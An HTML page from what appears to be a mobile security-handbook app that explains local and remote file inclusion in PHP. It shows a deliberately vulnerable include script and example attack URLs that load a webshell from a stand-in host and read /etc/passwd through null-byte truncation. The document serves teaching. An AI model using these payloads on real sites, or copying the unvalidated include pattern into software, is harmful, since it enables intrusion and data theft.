PageRenderTime 42ms CodeModel.GetById 12ms RepoModel.GetById 0ms app.codeStats 0ms

/assets/www/lrfi.html

https://bitbucket.org/rmusser/infosec-reference
HTML | 186 lines | 185 code | 1 blank | 0 comment | 0 complexity | 9aaec724ffe546ebc0af2b911cf7e4a9 MD5 | raw file
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8" />
  5. <meta name="viewport" content="width=device-width, initial-scale=1" />
  6. <title>
  7. </title>
  8. <link rel="stylesheet" href="jquery.mobile-1.1.0.min.css" />
  9. <style>
  10. /* App custom styles */
  11. </style>
  12. <script src="jquery-1.7.2.min.js">
  13. </script>
  14. <script src="jquery.mobile-1.1.0.min.js">
  15. </script>
  16. <div data-role="page" id="page33">
  17. <div data-theme="a" data-role="header">
  18. </div>
  19. <div data-theme="a" data-role="header" data-position="fixed">
  20. <h1>
  21. InfoSec Handbook
  22. </h1>
  23. <div data-role="navbar" data-iconpos="left">
  24. <ul>
  25. </ul>
  26. </div>
  27. </div>
  28. <div data-role="content">
  29. <div>
  30. <h2>
  31. Local/Remote File Include
  32. </h2>
  33. <h3>
  34. Local/Remote File Include
  35. </h3>
  36. <h4>
  37. Taken from
  38. <a href="https://en.wikipedia.org/wiki/Local_File_Inclusion">
  39. wikipedia.org/lfi
  40. </a>
  41. <br />
  42. <br />
  43. Remote File Inclusion (RFI) is a type of vulnerability most often found
  44. on websites. It allows an attacker to include a remote file, usually through
  45. a script on the web server. The vulnerability occurs due to the use of
  46. user-supplied input without proper validation. This can lead to something
  47. as minimal as outputting the contents of the file, but depending on the
  48. severity, to list a few it can lead to:
  49. <br />
  50. <br />
  51. Code execution on the web server
  52. <br />
  53. Code execution on the client-side such as JavaScript which can lead to
  54. other attacks such as cross site scripting (XSS).
  55. <br />
  56. Denial of Service (DoS)
  57. <br />
  58. Data Theft/Manipulation
  59. <br />
  60. <br />
  61. </h4>
  62. <h3>
  63. Example:
  64. </h3>
  65. <h4>
  66. Consider this PHP script (which includes a file specified by request):
  67. <br />
  68. <br />
  69. (All &gt; and &lt; have been replaced with * due to formatting issues)
  70. <br />
  71. <br />
  72. <br />
  73. *?php
  74. <br />
  75. $color = 'blue';
  76. <br />
  77. if (isset( $_GET['COLOR'] ) )
  78. <br />
  79. $color = $_GET['COLOR'];
  80. <br />
  81. include( $color . '.php' );
  82. <br />
  83. ?*
  84. <br />
  85. <br />
  86. <br />
  87. *form method="get"*
  88. <br />
  89. *select name="COLOR"*
  90. <br />
  91. *option value="red"*red*/option*
  92. <br />
  93. *option value="blue"*blue*/option*
  94. <br />
  95. */select*
  96. <br />
  97. *input type="fix file: *
  98. <br />
  99. */form*
  100. <br />
  101. <br />
  102. The developer intended only blue.php and red.php to be used as options.
  103. But as anyone can easily insert arbitrary values in COLOR, it is possible
  104. to inject code from files:
  105. <br />
  106. <br />
  107. /vulnerable.php?COLOR=http://evil.example.com/webshell.txt?
  108. <br />
  109. Injects a remotely hosted file containing a malicious code.
  110. <br />
  111. <br />
  112. /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit
  113. <br />
  114. Executes code from an already uploaded file called exploit.php (local
  115. file inclusion vulnerability)
  116. <br />
  117. <br />
  118. /vulnerable.php?COLOR=C:\\notes.txt%00
  119. <br />
  120. Example using NUL meta character to remove the .php suffix, allowing access
  121. to files other than .php. (With magic_quotes_gpc enabled this limits the
  122. attack by escaping special characters, this disables the use of the NUL
  123. terminator)
  124. <br />
  125. <br />
  126. /vulnerable.php?COLOR=/etc/passwd%00
  127. <br />
  128. Allows an attacker to read the contents of the passwd file on a UNIX system
  129. directory traversal.
  130. </h4>
  131. <h3>
  132. Links
  133. </h3>
  134. <h4>
  135. <li>
  136. <a href="http://pastie.org/840199">
  137. http://pastie.org/840199
  138. </a>
  139. </li>
  140. <li>
  141. <a href="http://websec.wordpress.com/2010/02/22/exploiting-php-file-inclusion-overview/">
  142. Exploiting PHP File Inclusion Overview « Reiners Weblog
  143. </a>
  144. </li>
  145. <li>
  146. <a href="http://www.notsosecure.com/folder2/2010/08/20/lfi-code-exec-remote-root/?utm_source=twitterfeed&amp;utm_medium=twitter">
  147. LFI..Code Exec..Remote Root!
  148. </a>
  149. </li>
  150. <li>
  151. <a href="http://labs.neohapsis.com/2008/07/21/local-file-inclusion-%E2%80%93-tricks-of-the-trade/">
  152. Local File Inclusion Tricks of the Trade « Neohapsis Labs
  153. </a>
  154. </li>
  155. <li>
  156. <span>
  157. <a href="http://www.digininja.org/blog/when_all_you_can_do_is_read.php">
  158. Blog, When All You Can Do Is Read - DigiNinja
  159. </a>
  160. </span>
  161. </li>
  162. </h4>
  163. <br />
  164. </div>
  165. <a data-role="button" data-inline="true" data-rel="back" data-transition="fade" data-theme="a" href="#page1" data-icon="home" data-iconpos="left">
  166. Back
  167. </a>
  168. </div>
  169. <div data-theme="a" data-role="footer" data-position="fixed">
  170. <h3>
  171. <a href="https://play.google.com/store/apps/details?id=my.first.app">Rate This App!</a>
  172. </h3>
  173. </div>
  174. </div>
  175. <link rel="stylesheet" href="master.css" type="text/css" media="screen" title="no title">
  176. <script type="text/javascript" charset="utf-8" src="phonegap-1.4.0.js"></script>
  177. <script type="text/javascript" charset="utf-8" src="main.js"></script>
  178. </head>
  179. <body>
  180. </body>
  181. </html>